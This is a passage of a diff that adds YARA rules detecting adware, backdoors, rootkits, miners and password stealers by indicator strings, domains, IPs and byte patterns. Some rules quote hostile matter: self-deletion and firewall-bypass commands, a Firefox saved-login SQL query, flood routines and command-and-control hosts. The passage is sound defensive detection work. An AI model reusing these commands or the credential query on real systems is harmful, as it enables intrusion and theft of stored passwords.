+	strings:
+		$ = "crossbrowse/updater/{{camp_id}}/{{version}}/{{secret}}/update.json" ascii wide
+		$ = "Crossbrowse\\Crossbrowse\\Application\\crossbrowse.exe" ascii wide
+		$ = "allnetserveline.com/crossbrowse" ascii wide
+		$ = "C:\\workspace\\crossbrowse" ascii wide
+		$ = "CrossriderBrowserInstaller.pdb" ascii wide
+
+	condition:
+		any of them
+}
+rule AdwareDealPlySample
+{
+	meta:
+		Description  = "Adware.DealPly.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "dealply.prq" ascii wide
+
+	condition:
+		any of them
+}rule AdwareDlhelperAdSample
+{
+	meta:
+		Description  = "Adware.Dlhelper.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "trifonov@onegbsoft.ru" ascii wide
+		$ = "bulovackiy@dontehnoservis.com.ua" ascii wide
+		$ = "contacts@dayzgames.com" ascii wide
+		$ = "admin@mayris.org" ascii wide
+
+		$ = "Panel_OffersList" ascii wide
+
+		$ = "support@dlhelper.com" ascii wide
+		$ = "http://dlhelper.com" ascii wide
+
+		$ = "http://sendme9.ru" ascii wide
+		$ = "http://sendme3.ru" ascii wide
+		$ = "http://trustfile3.ru" ascii wide
+		$ = "http://trustfile9.ru" ascii wide
+		$ = "http://downloaditeasy.ru" ascii wide
+
+	condition:
+		any of them
+}rule AdwareDownloaderA
+{
+	meta:
+		Description  = "Adware.Downloader.A.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "odiassi" ascii wide
+		$ = "stavers" ascii wide
+		$ = "trollimog" ascii wide
+		$ = "diapause" ascii wide
+		$ = "UserControl1" ascii wide
+		$ = "listboxmod01" ascii wide
+
+	condition:
+		all of them
+}rule AdwareELEXSampleA
+{
+	meta:
+		Description  = "Adware.ELEX.A.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "www.freeappstools.com" ascii wide
+		$ = "dl.elex.soft365.com" ascii wide
+		$ = "E:\\Code\\FileSyn\\Bin" ascii wide
+		$ = "E:\\Code_SVN\\FileSyn\\Bin" ascii wide
+
+	condition:
+		any of them
+}
+
+
+rule AdwareELEXSampleB
+{
+	meta:
+		Description  = "Adware.ELEX.B.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$pdb = "Release\\SFKEX.pdb" ascii wide
+		$ = "21e223b3f0c97db3c281da1g7zccaefozzjcktmlma" ascii wide
+		$ = "http://xa.xingcloud.com/v4/sof-everything" ascii wide
+		$ = "http://www.mysearch123.com" ascii wide
+		$ = "SFKEX.exe" ascii wide
+		$ = "SFKEX.dll" ascii wide
+		$ = "SFKURL" ascii wide
+
+	condition:
+		2 of them
+}
+
+
+rule AdwareELEXSampleCommon
+{
+	meta:
+		Description  = "Adware.ELEX.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "\\Mozilla\\Firefox\\" ascii wide
+		$ = "profiles.ini" ascii wide
+		$ = "Profile0" ascii wide
+		$ = "\\prefs.js" ascii wide
+		$ = "\\Google\\Chrome\\User Data\\" ascii wide
+		$ = "\\Secure Preferences" ascii wide
+		$ = "Software\\Microsoft\\Internet Explorer\\Main" ascii wide
+		$ = "Start Page" ascii wide
+		$ = "chrome.exe" ascii wide
+		$ = "iexplore.exe" ascii wide
+		$ = "firefox.exe" ascii wide
+		$ = "user_pref" ascii wide
+		$ = "browser.startup.homepage" ascii wide
+		$ = "startup_urls" ascii wide
+
+	condition:
+		all of them
+}rule AdwareStormWatchSample
+{
+	meta:
+		Description  = "Adware.StormWatch.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "localstormwatch.com" ascii wide
+		$ = "StormWatch.pdb" ascii wide
+		$ = "StormWatch.exe" ascii wide
+		$ = "ActiveDeals" ascii wide
+
+	condition:
+		any of them
+}rule AdwareGenieoSample
+{
+    meta:
+        Description = "Adware.Genieo.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$h1 = "gentray.pdb" ascii wide
+		$h2 = "genupdater.pdb" ascii wide
+		$h3 = "www.genieo.com" ascii wide
+        $h4 = "userfeedback-genieo.appspot.com" ascii wide
+        $h5 = "Genieo Innovation LTD" ascii wide
+
+        $str1 = "Software\\Genieo" ascii wide
+        $str2 = "SOFTWARE\\Genieo" ascii wide
+
+        $str5 = "genieo.exe" ascii wide
+        $str6 = "genieutils.exe" ascii wide
+        $str7 = "genupdater.exe" ascii wide
+
+        $str8 = "__Genieo_" ascii wide
+        $str9 = "GenieoUpdaterServiceCleaner" ascii wide
+        $str10 = "GENIEO_TRAY_UI" ascii wide
+
+    condition:
+        any of them
+}rule AdwareImaliSample
+{
+	meta:
+		Description  = "Adware.Imali.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "www.freemediaplayer.tv" ascii wide
+
+	condition:
+		any of them
+}rule AdwareInstallCoreSample
+{
+	meta:
+		Description  = "Adware.InstallCore.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "www.mynicepicks.com" ascii wide
+		$ = "www.ultimatepdfconverter.com" ascii wide
+		$ = "www.coolpdfcreator.com" ascii wide
+		$ = "cdnus.ironcdn.com" ascii wide
+		$ = "esd.baixaki.com.br" ascii wide
+		$ = "cdneu2.programmersupply.com" ascii wide
+
+	condition:
+		any of them
+}rule LinkuryASample
+{
+    meta:
+        Description = "Adware.Linkury.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "Smartbar" ascii wide
+        $ = "Linkury" ascii wide
+        $ = "ChromeUtils" ascii wide
+        $ = "FirefoxUtils" ascii wide
+        $ = "AddBundledSoftware" ascii wide
+        $ = "UpdateToolbarState" ascii wide
+        $ = "New Tab Search" ascii wide
+        $ = "get_BrowserIsOpen" ascii wide
+        $ = "get_BetterSearchResults" ascii wide
+        $ = "get_AllYourBrowsers" ascii wide
+        $ = "get_ChangeHomepageAndSearch" ascii wide
+        $ = "get_BrowserSettingsProtectOk" ascii wide
+        $ = "get_BrowserSettingsChange" ascii wide
+        $ = "get_BrowserSettingsProtectChange" ascii wide
+        $ = "get_BrowserSettingsProtectDescription" ascii wide
+        $ = "get_BrowserSettingsProtectHeader" ascii wide
+        $ = "get_BrowserSettingsProtectKeep" ascii wide
+
+    condition:
+        2 of them
+}
+
+rule LinkuryBSample
+{
+    meta:
+        Description = "Adware.Linkury.B.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "C:\\Cranberry\\bin\\CaraDelevigne\\Cara.pdb" ascii wide
+
+    condition:
+        any of them
+}rule MyWebSearchSample
+{
+    meta:
+        Description = "Adware.MyWebSearch.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "t8Setup1.pdb" ascii wide
+		$ = "t8EIPlug.pdb" ascii wide
+		$ = "t8EzSetp.pdb" ascii wide
+		$ = "NPt8EISB.pdb" ascii wide
+        $ = "Mindspark Interactive Network" ascii wide
+        $ = "mindspark.com" ascii wide
+
+    condition:
+        any of them
+}rule NextLiveSample
+{
+    meta:
+        Description = "Adware.NextLive.vb"
+        ThreatLevel = "5"
+
+    strings:
+
+		$ = "nengine.pdb" ascii wide
+		$ = "nengine.dll" ascii wide
+		$ = "D:\\svn.thecodeway.com\\private\\nlive\\trunk" ascii wide
+
+    condition:
+        any of them
+}rule ObronaAdsSample
+{
+    meta:
+        Description = "Adware.ObronaAds.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $i1 = "ObronaBlockAds" ascii wide
+        $i2 = "Obrona Block Ads" ascii wide
+        $i3 = "ObronaVPN" ascii wide
+        $i4 = "OBRONA_PROXY" ascii wide
+        $i5 = "SecurityAndShoppingAdvisor" ascii wide
+        $i6 = "SASAService" ascii wide
+        $i7 = "http://update.obrona.org" ascii wide
+        $i8 = "Proxy-agent: SASA Proxy" ascii wide
+        $i9 = "Proxy\\AdsInjectionContentProvider.cpp" ascii wide
+
+        $ = "sendBrowsersHistoryKeywords" ascii wide
+        $ = "startWatcher" ascii wide
+        $ = "HelperApplication" ascii wide
+        $ = "enableAds" ascii wide
+        $ = "enableInjecting" ascii wide
+        $ = "disableInjecting" ascii wide
+        $ = "requestNewAdsUrl" ascii wide
+        $ = "requestAdsIgnoredDomains" ascii wide
+        $ = "startSendingSearchKeywords" ascii wide
+        $ = "AdsService" ascii wide
+        $ = "ServiceProxy.cpp" ascii wide
+        $ = "HelperApplication.cpp" ascii wide
+        $ = "Updater.cpp" ascii
+        $ = "WebProxy.cpp" ascii wide
+
+    condition:
+        (any of ($i*)) or (3 of them)
+}rule AdwareOpenCandySample
+{
+	meta:
+		Description  = "Adware.OpenCandy.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "http://cdn.opencandy.com" ascii wide
+
+	condition:
+		any of them
+}rule AdwareOutBrowseSample
+{
+	meta:
+		Description  = "Adware.OutBrowse.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "cdn.install.playbryte.com" ascii wide
+		$ = "download.2yourface.com" ascii wide
+		$ = "www.default-page.com" ascii wide
+		$ = "install2.optimum-installer.com" ascii wide
+		$ = "downloadzone.org" ascii wide
+
+	condition:
+		any of them
+}rule AdwarePullUpdateSample
+{
+    meta:
+        Description = "Adware.PullUpdate.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "gettvwizard.com" ascii wide
+        $ = "getsharethis.com" ascii wide
+        $ = "thewebguard.com" ascii wide
+        $ = "astro-arcade.com" ascii wide
+        $ = "instashareonline.com" ascii wide
+        $ = "safewebonline.com" ascii wide
+        $ = "downloadmeteoroids.com" ascii wide
+        $ = "moviemasterapp.com" ascii wide
+        $ = "watchzombieinvasion.com" ascii wide
+        $ = "freevideoconverterapp.com" ascii wide
+
+       // $ = "TVWizard" ascii wide
+        //$ = "TV Wizard" ascii wide
+        $ = "AstroArcade" ascii wide
+        $ = "WebGuard Deleter" ascii wide
+        $ = "SmallIslandDevelopment" ascii wide
+
+        $ = "AVFirefoxCookieReader" ascii wide
+        $ = "AVChromeCookieReader" ascii wide
+        $ = "AVInternetExplorerCookieReader" ascii wide
+        $ = "AVBrowserCookieReader" ascii wide
+        $ = "Data Protection Solutions" ascii wide
+
+
+        $ = "VideoDimmer.exe" ascii wide
+        $ = "VideoDimmerService.exe" ascii wide
+
+        $ = "WebGuard.exe" ascii wide
+        $ = "WebGuardService.exe" ascii wide
+
+        $ = "HealthAlert.exe" ascii wide
+        $ = "HealthAlertService.exe" ascii wide
+
+        $ = "CrimeWatch.exe" ascii wide
+        $ = "CrimeWatchService.exe" ascii wide
+
+        $ = "SafeWeb.exe" ascii wide
+        $ = "SafeWebService.exe" ascii wide
+
+        $ = "Meteoroids.exe" ascii wide
+        $ = "MeteoroidsService.exe" ascii wide
+
+        $ = "Websteroids.exe" ascii wide
+        $ = "WebsteroidsService.exe" ascii wide
+
+        $ = "WebShield.exe" ascii wide
+        $ = "WebShieldService.exe" ascii wide
+
+        $ = "ZombieNews.exe" ascii wide
+        $ = "ZombieNewsService.exe" ascii wide
+
+        $ = "CelebrityAlertService.exe" ascii wide
+        $ = "CelebrityAlert.exe" ascii wide
+
+        $ = "MovieMaster.exe" ascii wide
+        $ = "MovieMasterService.exe" ascii wide
+
+        $ = "ZombieInvasionService.exe" ascii wide
+        $ = "ZombieInvasion.exe" ascii wide
+
+        $ = "BreakingNewsAlertService.exe" ascii wide
+        $ = "BreakingNewsAlert.exe" ascii wide
+
+    condition:
+        any of them
+}rule SearchProtectSample
+{
+    meta:
+        Description = "Adware.SProtect.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "Search Protect" ascii wide
+		$ = "SearchProtect" ascii wide
+		$ = "Search Protector" ascii wide
+		$ = "SearchProtector" ascii wide
+		$ = "ClientConnect" ascii wide
+		$ = "SPVC32.dll" ascii wide
+		$ = "SPVC32Loader.dll" ascii wide
+		$ = "SPVC64.dll" ascii wide
+		$ = "SPVC64Loader.dll" ascii wide
+		$ = "SProtector" ascii wide
+		$ = "AppendInit.dll" ascii wide
+		$ = "{12DA0E6F-5543-440C-BAA2-28BF01070AFA}" ascii wide
+		$pdb1 = "CltMngSvc.pdb" ascii wide
+		$pdb2 = "SPtool.pdb" ascii wide
+		$pdb3 = "SPtool64.pdb" ascii wide
+		$pdb4 = "SPVC32.pdb" ascii wide
+		$pdb5 = "SPVC64.pdb" ascii wide
+		$pdb6 = "SPVC32Loader.pdb" ascii wide
+		$pdb7 = "SPVC64Loader.pdb" ascii wide
+		$pdb8 = "cltmng.pdb" ascii wide
+		$pdb9 = "MiniStubUtils.pdb" ascii wide
+		$pdb10 = "Search Protector" ascii wide
+		$pdb11 = "%programfiles%\\Free Offers from" ascii wide
+		$pdb12 = "TestSearchProtect" ascii wide
+		$pdb13 = "ProtectService.pdb" ascii wide
+		$pdb14 = "E:\\supsoft" ascii wide
+		$pdb15 = "BrowerWatch.dll" ascii wide
+
+    condition:
+        (2 of them) or (any of ($pdb*))
+}rule SearchSuiteSample
+{
+    meta:
+        Description = "Adware.SearchSuite.vb"
+        ThreatLevel = "5"
+
+    strings:
+        //$ = "SearchSuite" ascii wide
+        $ = "searchcore.net" ascii wide
+        $ = "searchnu.com" ascii wide
+        $ = "searchqu.com" ascii wide
+        $ = "searchsheet.com" ascii wide
+        $ = "adoresearch.com" ascii wide
+        $ = "newsearchtab.com" ascii wide
+        $ = "searchsupreme.com" ascii wide
+        $ = "mlsearch.com" ascii wide
+        $ = "insertsearch.com" ascii wide
+        $ = "gotsearch.com" ascii wide
+        $ = "search.ask.com" ascii wide
+        $ = "search-results.com" ascii wide
+        $ = "default-search.net" ascii wide
+        $ = "imesh web search" ascii wide
+
+    condition:
+        any of them
+}rule AdwareSendoriSample
+{
+    meta:
+        Description = "Adware.Sendori.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "SendoriSvc.pdb" ascii wide
+        $ = "SendoriTray.pdb" ascii wide
+        $ = "sendori64f.sys" ascii wide
+        $ = "sendori64r.sys" ascii wide
+        $ = "sendori32.sys" ascii wide
+        $ = "Sendori.dll" ascii wide
+        $ = "SendoriProxy.dll" ascii wide
+        $ = "SendoriUp.exe" ascii wide
+        $ = "SendoriSvc.exe" ascii wide
+        $ = "SendoriTray.exe" ascii wide
+        $ = "SendoriControl.exe" ascii wide
+        $ = "sendori-win-upgrader.exe" ascii wide
+        $ = "\\\\.\\pipe\\Sendori" ascii wide
+        $ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Sendori" ascii wide
+        $ = "SOFTWARE\\Sendori" ascii wide
+        $ = "Sendori, Inc" ascii wide
+        $ = "Sendori Service" ascii wide
+        $ = "Service Sendori" ascii wide
+        $ = "Application Sendori" ascii wide
+        $ = "SendoriLSP" ascii wide
+        $ = "Sendori Elevated Service Controller" ascii wide
+        $ = "Sendori-Client" ascii wide
+        $ = "SENDORI_UPGRADE_ASSISTANT" ascii wide
+
+    condition:
+        any of them
+}rule SimplyTechSample
+{
+    meta:
+        Description = "Adware.SimplyTech.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "wtb_64.pdb" ascii wide
+        $ = "wtb_64.DLL" ascii wide
+        $ = "wtb.ToolbarInfo" ascii wide
+        $ = "Surf Canyon" ascii wide
+        $ = "surfcanyon" ascii wide
+
+    condition:
+        any of them
+}rule SmartAppsSample
+{
+    meta:
+        Description = "Adware.SmartApps.vb"
+        ThreatLevel = "5"
+
+    strings:
+
+		$a1 = "Unicows.dll" ascii wide
+		$a2 = "FrameworkBHO.DLL" ascii wide
+		$a3 = "URLDownloadToFile" ascii wide
+		$a4 = "getExtensionFileContents" ascii wide
+		$a5 = "Toolbar" ascii wide
+		$a6 = "GdiplusStartup" ascii wide
+
+        $b1 = "getCookieW" ascii wide
+        $b2 = "setCookieW" ascii wide
+        $b3 = "InternetSetCookieW" ascii wide
+        $b5 = "InternetGetCookieExW" ascii wide
+
+    condition:
+        (all of ($b*)) and (any of ($a*))
+}rule AdwareSolimbdaSample
+{
+    meta:
+        Description = "Adware.Solimbda.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "http://api.downloadmr.com" ascii wide
+		$ = "SuggestedApps" ascii wide
+
+    condition:
+        all of them
+}rule TriorisSample
+{
+    meta:
+        Description = "Adware.Trioris.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "instamarket.js" ascii wide
+        $ = "instamarketoff.js" ascii wide
+        $ = "trioris.net" ascii wide
+        $ = "storegid.com" ascii wide
+        $ = "screentoolkit.com" ascii wide
+        $ = "Sergey Cherezov" ascii wide
+
+    condition:
+        any of them
+}rule AdwareVitruvianSample
+{
+    meta:
+        Description = "Adware.Vitruvian.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "WordProser" ascii wide
+		$ = "vitruvian" ascii wide
+		$ = "gethighlightly.com" ascii wide
+		$ = "betterbrainapp.com" ascii wide
+		$ = "wordproser.com" ascii wide
+		$ = "intellitermapp.com" ascii wide
+		$ = "BetterBrainClientIE.pdb" ascii wide
+
+    condition:
+        any of them
+}rule AdwareWajamSample
+{
+	meta:
+		Description  = "Adware.Wajam.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "fastnfreedownload.com" ascii wide
+		$ = "InternetEnhancer.exe" ascii wide
+		$ = "InternetEnhancerService.exe" ascii wide
+		$ = "WJManifest" ascii wide
+		$ = "WaInterEnhance" ascii wide
+		$ = "ping_wajam" ascii wide
+		$ = "D:\\jenkins\\workspace" ascii wide
+		$ = "WajamService" ascii wide
+		$ = "AVCWJService" ascii wide
+		$ = "Internet Enhancer Service" ascii wide
+
+		$a1 = "WajamInternetEnhancerService.pdb" ascii wide
+		$a4 = "WHttpServer.pdb" ascii wide
+		$a2 = "Wajam. All right reserved" ascii wide
+		$a3 = "Wajam.Proxy" ascii wide
+
+	condition:
+		(3 of them) or (any of ($a*))
+}rule RootkitSampleDriverAgony
+{
+	meta:
+		Description  = "Trojan.Agony.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$  = "DosDevices\\agony" ascii wide
+		$  = "Device\\agony" ascii wide
+		$  = "VOLUME.INI" ascii wide
+		$  = "ERVICES.EXE" ascii wide
+		$  = "ervices.exe" ascii wide
+		$  = "agony rootkit" ascii wide
+		$  = "agony" ascii wide
+		$  = "for exemple: agony -p process1.exe process2.exe" ascii wide
+		$a = "i386\\agony.pdb" ascii wide
+
+	condition:
+		(3 of them) or $a
+}
+
+rule AdwareSampleWebTools
+{
+	meta:
+		Description  = "Adware.WebTools.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "IEctrl.log" ascii wide
+		$ = "agony" ascii wide
+		$s1 = "Gates.pdb" ascii wide
+		$s0 = "GatesInstall.pdb" ascii wide
+		$s2 = "IECtrl.pdb" ascii wide
+		$s3 = "svch0st.exe" ascii wide
+		$s4 = "SESDKDummy.dll" ascii wide
+		$s5 = "SESDKDummy64.dll" ascii wide
+
+	condition:
+		(3 of them) or (any of ($s*))
+}rule AdwareWebWatcherSample
+{
+    meta:
+        Description = "Adware.WebWatcher.vb"
+        ThreatLevel = "5"
+
+    strings:
+		$ = "E:\\BuildSource\\7\\WindowsClient\\WindowsClient.Client.RC\\Binaries" ascii wide
+		$ = "Release DlpHook\\mcapp.pdb" ascii wide
+		$ = "Release DlpHook\\mcsc.pdb" ascii wide
+		$ = "Release Sonar\\Shim64.pdb" ascii wide
+		$ = "Release Sonar\\Shim.pdb" ascii wide
+
+    condition:
+        any of them
+}rule AdwareiBryteSample
+{
+	meta:
+		Description  = "Adware.iBryte.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "install.ibryte.com" ascii wide
+		$ = "pn-installer28.com" ascii wide
+
+	condition:
+		any of them
+}rule AdwareUCSKoreaSample
+{
+	meta:
+		Description  = "Adware.uKor.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "_uninstall_Mutex" ascii wide
+		$ = "_updater_Mutex" ascii wide
+		$ = "_main_Mutex" ascii wide
+		$ = "_install_Mutex" ascii wide
+		$ = "main_agent" ascii wide
+		$ = "updater_agent" ascii wide
+		$ = "APP/bundle.php" ascii wide
+		$ = "APP/update_ck.php?v1" ascii wide
+		$ = "APP/bundle_stat.php?v1" ascii wide
+		$ = "APP/stat.php?v1" ascii wide
+		$ = "co.kr/mbk.php?v1" ascii wide
+		$ = "co.kr/etc/yak_app.htm" ascii wide
+
+		$hex1 = { 51 a1 ?? ?? ?? ?? 56 68 80 1f 40 00 50 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 33 d2 68 b8 0b 00 00 8d ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 04 85 c0 74 ?? 68 3f 00 0f 00 6a 00 6a 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8b ?? ?? ?? ?? ?? 68 ff 01 0f 00 51 50 ff ?? ?? ?? ?? ?? 8b f0 85 f6 74 ?? 6a 00 6a 04 e8 ?? ?? ?? ?? 83 c4 08 68 c8 e8 41 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 6a 00 6a 01 e8 ?? ?? ?? ?? 83 c4 08 eb ?? 8b ?? ?? ?? 68 28 6e 42 00 6a 01 56 ff ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 5e 74 ?? 6a 00 ff ?? ?? ?? ?? ?? 8b d0 b8 01 00 00 00 e8 ?? ?? ?? ?? 83 c4 04 59 c2 08 00}
+
+	condition:
+		(2 of them) or (any of ($hex*))
+}rule BladabindiASample
+{
+    meta:
+        Description = "Backdoor.Bladabindi.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "shutdown -r -t 00" ascii wide
+        $ = "netsh firewall add allowedprogram" ascii wide
+        $ = "netsh firewall delete allowedprogram" ascii wide
+        $ = "cmd.exe /k ping 0 & del" ascii wide
+        $ = "ReceiveBufferSize" ascii wide
+        $ = "SendBufferSize" ascii wide
+        $ = "restartcomputer" ascii wide
+        $ = "NoWindowsUpdate" ascii wide
+        $ = "winupdateoff" ascii wide
+        $ = "DisableTaskMgr" ascii wide
+        $ = "set cdaudio door closed" ascii wide
+        $ = "set cdaudio door open" ascii wide
+        $ = "VMDragDetectWndClass" ascii wide
+        $ = "%dark%" ascii wide
+        $ = "microwaveone.ddns.net" ascii wide
+
+    condition:
+        5 of them
+}rule BackdoorDediprosA
+{
+        meta:
+			Description  = "Backdoor.Dedipros.rc"
+			ThreatLevel  = "5"
+
+        strings:
+            $ = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/advapi32.dll" ascii wide
+			$ = "rundll32.exe %s, CodeMain lpServiceName" ascii wide
+			$ = "C:\\Windows\\System32\\Rundlla.dll" ascii wide
+			$ = "s%\\pmeT\\SWODNIW\\:C" ascii wide
+			$ = "SYSTEM\\CurrentControlSet\\Services\\%s" ascii wide
+			$ = "\\keylog.dat" ascii wide
+        condition:
+            2 of them
+}rule BackdoorWin32FynloskiASample
+{
+	meta:
+		Description  = "Backdoor.Fynloski.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "#BOT#VisitUrl" ascii wide
+		$ = "#BOT#OpenUrl" ascii wide
+		$ = "#BOT#Ping" ascii wide
+		$ = "BTRESULTPing|Res" ascii wide
+		$ = "#BOT#RunPrompt" ascii wide
+		$ = "BTRESULTClose" ascii wide
+		$ = "#BOT#SvrUninstal" ascii wide
+		$ = "#BOT#URLUpdate" ascii wide
+		$ = "BTERRORUpdate" ascii wide
+		$ = "BTRESULTUpdate" ascii wide
+		$ = "#BOT#URLDownload" ascii wide
+		$ = "BTRESULTOpen" ascii wide
+		$ = "BTERRORDownload" ascii wide
+		$ = "BTRESULTDownload" ascii wide
+		$ = "BTRESULTMass" ascii wide
+		$ = "BTRESULTHTTP" ascii wide
+		$ = "BTERRORVisit" ascii wide
+		$ = "BTRESULTSyn" ascii wide
+		$ = "BTRESULTUDP" ascii wide
+		$ = "Flood|UDP Flood task finished" ascii wide
+		$ = "Flood|Syn task finished" ascii wide
+		$ = "Flood|Http Flood task finished" ascii wide
+
+	condition:
+		3 of them
+}rule BackdoorGenASample
+{
+    meta:
+        Description = "Backdoor.Gen.A.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $ = "Form1" ascii wide
+        $ = "Flamand" ascii wide
+        $ = "Afildoe.Belver" ascii wide
+        $ = "FromBase64String" ascii wide
+        $ = "TeAdor.Properties.Resources" ascii wide
+
+    condition:
+        3 of them
+}rule BackdoorLiudoor
+{
+meta:
+        author = "RSA FirstWatch"
+        date = "2015-07-23"
+        Description = "Backdoor.Liudoor.sm"
+        ThreatLevel  = "5"
+        hash0 = "78b56bc3edbee3a425c96738760ee406"
+        hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
+        hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
+        hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
+		hash4 = "6093505c7f7ec25b1934d3657649ef07"
+        type = "Win32 DLL"
+
+strings:
+        $string0 = "Succ" ascii wide
+        $string1 = "Fail" ascii wide
+        $string2 = "pass" ascii wide
+        $string3 = "exit" ascii wide
+        $string4 = "svchostdllserver.dll" ascii wide
+        $string5 = "L$,PQR" ascii wide
+        $string6 = "0/0B0H0Q0W0k0" ascii wide
+        $string7 = "QSUVWh" ascii wide
+        $string8 = "Ht Hu[" ascii wide
+condition:
+        all of them
+}
+rule MirageAPTBackdoorSample
+{
+        meta:
+			Description  = "Backdoor.Mirage.sm"
+			ThreatLevel  = "5"
+
+        strings:
+               $a1 = "welcome to the desert of the real" ascii wide
+               $a2 = "Mirage" ascii wide
+               $b = "Encoding: gzip" ascii wide
+               $c = /\/[A-Za-z]*\?hl=en/
+        condition:
+               (($a1 or $a2) or $b) and $c
+}rule TrojanWin32Vawtrak_BackDoor
+{
+	meta:
+		Description  = "Backdoor.Win32.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "[VNC] New Client" ascii wide
+		$ = "[VNC] Fail init BC" ascii wide
+		$ = "[VNC] Fail addr proto BC" ascii wide
+		$ = "[VNC] Fail connect BC" ascii wide
+		$ = "[VNC] Fail init work:" ascii wide
+		$ = "[VNC] Start Sever" ascii wide
+		$ = "[VNC] Parse param error:" ascii wide
+		$ = "[VNC] Fail create  process:" ascii wide
+		$ = "[VNC] Fail inject to process:" ascii wide
+		$ = "[Socks] New Client" ascii wide
+		$ = "[Socks] Failt Init BC" ascii wide
+		$ = "[Socks] Fail add proto BC" ascii wide
+		$ = "[Socks] Failt connect BC" ascii wide
+		$ = "[Socks] Fail parse param:" ascii wide
+		$ = "[Pony] Fail Get Pass" ascii wide
+		$ = "DL_EXEC Status [Pipe]" ascii wide
+		$ = "DL_EXEC Status[Local]" ascii wide
+		$ = "Start Socks addr:" ascii wide
+		$ = "Start Socks Status[Pipe]" ascii wide
+		$ = "Start Socks Status[Local]" ascii wide
+		$ = "Start VNC addr: %s" ascii wide
+		$ = "Start VNC Status[Pipe]: %u-%u-%u" ascii wide
+		$ = "Start VNC Status[Local]: %u" ascii wide
+		$ = "PID: %u [%0.2u:%0.2u:%0.2u]" ascii wide
+		$ = "[BC] Cmd Ver Error" ascii wide
+		$ = "[BC] Wait Ping error %u[%u]" ascii wide
+		$ = "[BC] Fail Connect" ascii wide
+		$ = "[BC] Fail send auth" ascii wide
+		$ = "[BC] Fail read cmd" ascii wide
+		$ = "[BC] cmd error: %u" ascii wide
+		$ = "[BC] Cmd need disconnect" ascii wide
+		$ = "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins" ascii wide
+		
+		$str_0 = "T:\\Develop\\EQ2\\bin\\tmp" ascii wide
+		$str_1 = "T:\\Develop\\EQ2\\bin\\tmp\\client_32.pdb" ascii wide
+		$str_2 = "T:\\Develop\\EQ2\\bin\\tmp\\client_64.pdb" ascii wide
+		$str_3 = "client_64.dll" ascii wide   
+		$str_4 = "client_32.dll" ascii wide
+
+	condition:
+		(5 of them) or (any of ($str_*))
+}
+rule BackdoorZegostSampleA
+{
+        meta:
+			Description  = "Backdoor.Zegost.rc"
+			ThreatLevel  = "5"
+
+        strings:
+            $a = "VIPBlackDDOS" ascii wide
+			$b = "SynFlood" ascii wide
+			$c = "ICMPFlood" ascii wide
+			$d = "UDPFlood" ascii wide
+			$e = "DNSFlood" ascii wide
+			$f = "Game2Flood" ascii wide
+			$g = "HTTPGetFlood" ascii wide
+        condition:
+            2 of them
+}rule MalwareBitCoinMinerSample_A
+{
+	meta:
+		Description  = "Malware.BitCoinMiner.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "Min3Win.exe" ascii wide
+		$ = "bitcoin-miner.exe" ascii wide
+		$ = "WINSXS32" ascii wide
+		$ = "http://xhuehs.cantvenlinea.ru:1942" ascii wide
+		$ = "bigbob0000001@gmail.com" ascii wide
+
+	condition:
+		3 of them
+}rule TinyLoaderSample
+{
+	meta:
+		Description  = "Malware.TinyLoader.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "B1 Tiny Loader/1.0" ascii wide
+
+	condition:
+		all of them
+}rule PWSPasswordsToDBApp
+{
+	meta:
+		Description  = "PWS.PassDB.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$pdb0 = "PasswordsToDB.pdb" ascii wide
+		$ipa0 = "82.146.47.116" ascii wide
+		$ipa1 = "82.146.54.187" ascii wide
+
+	condition:
+		any of them
+}rule PUPSystemOptimizerASample
+{
+	meta:
+		Description  = "PUP.SystemOptimizer.vb"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "http://bitest.softservers.net" ascii wide
